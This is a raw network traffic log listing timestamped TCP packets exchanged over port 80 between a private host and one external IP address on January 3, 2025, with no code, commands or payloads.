Jan 3, 2025 15:22:00.287225962 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287235975 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287235975 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287256956 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287262917 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287271023 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287283897 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287288904 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287298918 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287311077 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287331104 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287337065 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287343979 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287350893 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287362099 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287381887 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287385941 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287404060 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287415028 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287415028 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287450075 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287451982 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287472963 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287477970 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287489891 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287503004 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287504911 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287516117 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287530899 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287534952 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287552118 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287565947 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287568092 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287580013 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287585974 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287592888 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287605047 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287614107 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287626982 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287638903 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287651062 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287653923 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287663937 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287678003 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287686110 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287698030 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287709951 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287713051 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287724018 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287736893 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287750959 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287758112 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287761927 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287770033 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287782907 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287794113 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287811041 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287817955 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287822962 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287837982 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287854910 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287857056 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287870884 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287874937 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287883043 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287894964 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287898064 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287909031 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287920952 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287930012 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287933111 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287950993 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287961006 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.287966013 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.287992954 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.288022041 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.288060904 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.288072109 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.288083076 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.288111925 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.288141012 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.372608900 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372631073 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372698069 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.372709036 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372729063 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372740984 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372752905 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.372752905 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372766972 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372776985 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372778893 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.372788906 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372802019 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372812033 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.372833014 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.372859955 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372863054 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.372874022 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372884035 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372895956 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372898102 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.372905016 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372915983 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.372917891 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.372935057 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.372963905 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373016119 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373028994 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373039007 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373050928 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373073101 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373083115 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373174906 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373191118 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373203039 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373212099 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373224020 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373233080 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373238087 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373240948 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373255014 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373317957 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373328924 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373339891 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373348951 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373351097 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373363972 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373370886 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373373985 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373383045 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373404026 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373424053 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373462915 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373481035 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373492002 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373502970 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373522043 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373553038 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373629093 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373640060 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373650074 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373661041 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373671055 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373672009 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373682976 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373692036 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373718023 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373730898 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373811960 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373823881 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373836040 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373845100 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373855114 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373864889 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373867035 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373879910 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373889923 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373891115 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373917103 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373943090 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.373965979 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373977900 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.373991966 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374001026 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374016047 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374043941 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374144077 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374155045 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374166965 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374187946 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374202013 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374274969 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374285936 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374325037 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374416113 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374433994 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374445915 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374456882 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374469042 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374476910 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374480963 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374494076 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374500036 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374522924 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374572039 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374593973 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374605894 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374617100 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374627113 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374638081 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374639988 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374649048 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374661922 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374696970 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374732018 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374744892 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374788046 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374887943 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374907017 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374919891 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374928951 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374948025 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374950886 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374959946 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374970913 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.374974966 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.374986887 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375000000 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375009060 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375032902 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375052929 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375060081 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375071049 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375082016 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375092030 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375103951 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375108004 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375116110 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375149965 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375149965 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375184059 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375207901 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375226021 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375235081 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375243902 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375257969 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375262976 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375268936 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375303984 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375375986 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375389099 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375402927 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375402927 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375413895 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375426054 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375439882 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375458002 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375504971 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375551939 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375571012 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375581980 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375591993 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375593901 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375603914 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375616074 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375622988 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375631094 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375642061 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375660896 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375685930 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375685930 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375705004 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375716925 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375729084 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375739098 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375749111 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375756025 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375762939 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375776052 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375787020 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375802040 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375818968 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375854969 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375866890 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375876904 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375888109 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.375906944 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.375936031 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.376000881 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.376013041 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.376045942 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.376056910 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.376157999 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.376169920 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.376180887 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.376192093 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.376204014 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.376220942 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.376224995 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.376228094 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.376245022 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.376260996 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.459683895 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459703922 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459717035 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459733009 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459747076 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459758043 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459769964 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459783077 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459794998 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459804058 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459832907 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.459891081 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.459912062 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459924936 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459935904 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459948063 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459958076 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.459959030 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.459985971 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460021973 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460062981 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460076094 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460088015 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460098982 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460109949 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460120916 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460122108 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460134983 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460144997 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460145950 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460170031 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460187912 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460207939 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460218906 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460231066 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460242033 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460253954 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460263968 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460273981 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460277081 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460289955 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460300922 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460305929 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460325956 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460350990 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460357904 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460370064 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460381985 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460403919 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460421085 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460491896 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460505009 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460534096 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460558891 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:22:00.460643053 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460664034 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:22:00.460675955 CET	80	50021	185.215.113.206	192.168.2.6
